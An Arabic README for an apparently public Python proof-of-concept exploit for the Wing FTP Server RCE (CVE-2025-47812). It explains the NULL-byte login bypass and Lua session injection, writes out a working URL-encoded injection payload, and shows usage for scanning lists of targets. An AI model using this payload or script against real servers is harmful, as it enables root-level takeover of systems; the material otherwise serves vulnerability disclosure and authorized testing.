
Wing FTP Server استغلال تنفيذ التعليمات البرمجية عن بُعد (RCE) (CVE-2025-47812)
استغلال تنفيذ التعليمات البرمجية عن بُعد (RCE) في خادم Wing FTP (CVE-2025-47812)
📌 الائتمان: تم اكتشاف الثغرة بواسطة Julien (@MrTuxracer).
يعتمد هذا التطبيق (PoC) على أبحاثهم الأصلية.
يستضيف هذا المستودع استغلالًا بلغة Python لـ ثغرة تنفيذ التعليمات البرمجية عن بُعد (RCE) في خادم Wing FTP (CVE-2025-47812). تسمح هذه الثغرة الحرجة للمهاجمين بتنفيذ تعليمات برمجية عن بُعد بصلاحيات root/SYSTEM على إصدارات خادم Wing FTP المتأثرة، حتى مع تمكين الوصول المجهول.
تنشأ هذه الثغرة من المعالجة غير الصحيحة للبايتات الصفرية (NULL bytes) داخل معامل اسم المستخدم أثناء عملية المصادقة في خادم Wing FTP. يسمح هذا للمهاجمين بحقن كود Lua مباشرةً في ملفات الجلسات. يتم بعد ذلك تنفيذ ملفات الجلسات الخبيثة هذه عند تحميل جلسة صالحة، مما يؤدي إلى تنفيذ أوامر عشوائية على الخادم.
تشمل الميزات الرئيسية لهذا الاستغلال:
هذه الأداة مخصصة فقط للأغراض التعليمية واختبار الاختراق المصرح به. لا يتحمل المؤلف أي مسؤولية عن أي سوء استخدام أو ضرر يسببه هذا البرنامج. تأكد دائمًا من حصولك على إذن كتابي صريح قبل إجراء أي اختبارات على أي نظام.
تم اكتشاف هذه الثغرة وتوثيقها بالتفصيل بواسطة Julien (@MrTuxracer). راجع المقالة الأصلية:
What the NULL?! Wing FTP Server RCE (CVE-2025-47812)
ثغرة CVE-2025-47812 هي مشكلة حرجة ناتجة عن نقاط ضعف متعددة في كيفية إدارة خادم Wing FTP لمصادقة المستخدمين وجلساتهم:
c_CheckUser(): تستخدم الدالة c_CheckUser()، المسؤولة عن مصادقة المستخدم، داخليًا strlen() على اسم المستخدم المقدم. عندما يتم حقن بايت صفري (%00) في اسم المستخدم (مثل anonymous%00...)، فإن strlen() تقتطع السلسلة عند هذه النقطة. وهذا يعني أن المصادقة تنجح للجزء من اسم المستخدم قبل البايت الصفري، مما يتجاوز التحقق السليم فعليًا.rawset(_SESSION, "username", username) داخل loginok.html يستخدم اسم المستخدم الكامل غير المنظف مباشرة من باراميترات GET أو POST. يشمل ذلك البايت الصفري وأي أحرف لاحقة.anonymous%00]]%0dlocal+h+%3d+io.popen("id")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--) يؤدي إلى كتابة هذا الكود الخبيث مباشرةً في ملف الجلسة.SessionModule.load()، التي تُستدعى عند الوصول إلى أي وظيفة مصادق عليها (مثل )، تقوم بتنفيذ ملف الجلسة مباشرةً باستخدام متبوعًا بـ . هذه الخطوة الحاسمة تؤدي إلى تشغيل كود Lua المحقون، مما يؤدي إلى .هذه الثغرة خطيرة بشكل خاص لأن خادم Wing FTP غالبًا ما يعمل بصلاحيات root على Linux أو صلاحيات SYSTEM على Windows افتراضيًا. يمنح هذا التكوين الافتراضي المهاجمين أقصى درجات التحكم في النظام المخترق عند الاستغلال الناجح.
الإصدارات المتأثرة: إصدارات خادم Wing FTP السابقة للإصدار 7.4.4 معرضة للخطر.
يدعم هذا السكريبت وسائط سطر أوامر متنوعة لتخصيص وظائفه.
python3 CVE-2025-47812.py -h
usage: CVE-2025-47812.py.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-v] [-o OUTPUT] [-U USERNAME]
Exploit script for command injection via login.html.
options:
-h, --help show this help message and exit
-u URL, --url URL Target URL (e.g., [http://192.168.134.130](http://192.168.134.130)). Required if -f not specified.
-f FILE, --file FILE File containing list of target URLs (one per line).
-c COMMAND, --command COMMAND
Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.
-v, --verbose Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.
-o OUTPUT, --output OUTPUT
File to save vulnerable URLs.
-U USERNAME, --username USERNAME
Username to use in the exploit payload. Default: anonymous
python3 CVE-2025-47812.py -u http://192.168.134.130 -c ipconfig

/dir.htmlloadfile(filepath)f()